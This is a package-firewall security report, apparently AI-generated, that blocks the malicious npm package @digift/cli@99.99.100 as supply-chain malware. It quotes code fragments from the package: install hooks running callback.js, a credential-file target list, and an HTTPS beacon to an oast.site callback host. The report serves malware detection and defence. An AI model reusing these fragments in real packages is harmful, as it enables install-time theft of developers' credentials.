Loading npm security reports…

@digift/cli@99.99.100: Malicious npm security report (Block) | LPM Firewall

registry / @digift/cli / 99.99.100

@digift/cli@99.99.100

@digift/cli

AI Security Review

scanned 12d ago · by lpm-firewall-ai

Installing the package runs callback.js before and after install. That script harvests host and credential metadata, sends it to an oast.site host over HTTPS and DNS, and writes real secret values and credential file contents into the project directory.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall and postinstall execute node callback.js automatically.

Impact

Install leaks project path, identity, git remote, network, and secret names to an operator-controlled callback, and drops full credential material into the consumer working directory.

Mechanism

collect() builds a recon object, beacon() base64-encodes it into an HTTPS GET and a DNS lookup against the default oast.site host, and localValuePreview() copies secret environment values and home credential files into digift-cli-LOCAL-SECRETS.json.

Attack narrative

On npm install, both lifecycle hooks run callback.js. It fingerprints the host, user, git remote, network, and which secret environment names and credential files exist, then sends that metadata to a hard-coded oast.site domain by HTTPS and DNS. It also reads the secret values and credential file contents and writes them to digift-cli-LOCAL-SECRETS.json in the project. Failures are ignored so the install still succeeds. Claims that this is only a local proof of concept do not stop the automatic exfiltration.

AI rationale

Automatic install hooks harvest credentials and phone home to an unrelated oast.site host, which is concrete install-time malware. The empty library entry and local-only comments do not remove that behavior.

Evidence

package.jsoncallback.jsdigift-cli-LOCAL-SECRETS.jsondigift-cli-callback.json/etc/hosts.npmrc

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node callback.js", "postinstall": "node callback.js"

High

Suspicious Lifecycle Evidence

preinstall and postinstall both run node callback.js with no user command.

package.jsonView on unpkg · L6

callback.jsView file

6const dns = require('dns'); L7: const { execSync } = require('child_process'); L8:

High

Child Process

Package source references child process execution.

callback.jsView on unpkg · L6

4const path = require('path'); L5: const https = require('https'); L6: const dns = require('dns'); L7: const { execSync } = require('child_process'); L8: L9: const CALLBACK = process.env.POC_CALLBACK || '[redacted].oast.site'; L10:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

callback.jsView on unpkg · L4

9const CALLBACK = process.env.POC_CALLBACK || '[redacted].oast.site'; const HOME = os.h

High

Ai Review Evidence

The default callback host is an oast.site interactsh domain, overridable by POC_CALLBACK.

callback.jsView on unpkg · L9

13const CRED_FILES = [ '.npmrc', '.yarnrc.yml', '.aws/credentials', '.aws/config', '.config/gcloud/credentials.db', '.docker/config.json', '.kube/config', '

High

Ai Review Evidence

collect() gathers hostname, user id, git remote, network addresses, /etc/hosts, secret environment names, and presence of home credential files, then base64-encodes that blob.

callback.jsView on unpkg · L13

52https.request({ host: CALLBACK, port: 443, method: 'GET', path: `/digift-cli?r=${encodeURIComponent(b64)}`, timeout: 4000 }, () => {}); req.on('error', () =

High

Ai Review Evidence

beacon() sends the blob in an HTTPS GET query to that host and also issues a DNS lookup under the same domain.

callback.jsView on unpkg · L52

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node callback.js", "postinstall": "node callback.js"

High

Suspicious Lifecycle Evidence

preinstall and postinstall both run node callback.js with no user command.

package.jsonView on unpkg · L6

callback.jsView file

6const dns = require('dns'); L7: const { execSync } = require('child_process'); L8:

High

Child Process

Package source references child process execution.

callback.jsView on unpkg · L6

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

callback.jsView on unpkg · L4

9const CALLBACK = process.env.POC_CALLBACK || '[redacted].oast.site'; const HOME = os.h

High

Ai Review Evidence

The default callback host is an oast.site interactsh domain, overridable by POC_CALLBACK.

callback.jsView on unpkg · L9

13const CRED_FILES = [ '.npmrc', '.yarnrc.yml', '.aws/credentials', '.aws/config', '.config/gcloud/credentials.db', '.docker/config.json', '.kube/config', '

High

Ai Review Evidence

collect() gathers hostname, user id, git remote, network addresses, /etc/hosts, secret environment names, and presence of home credential files, then base64-encodes that blob.

callback.jsView on unpkg · L13

52https.request({ host: CALLBACK, port: 443, method: 'GET', path: `/digift-cli?r=${encodeURIComponent(b64)}`, timeout: 4000 }, () => {}); req.on('error', () =

High

Ai Review Evidence

beacon() sends the blob in an HTTPS GET query to that host and also issues a DNS lookup under the same domain.

callback.jsView on unpkg · L52

@digift/cli@99.99.100

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code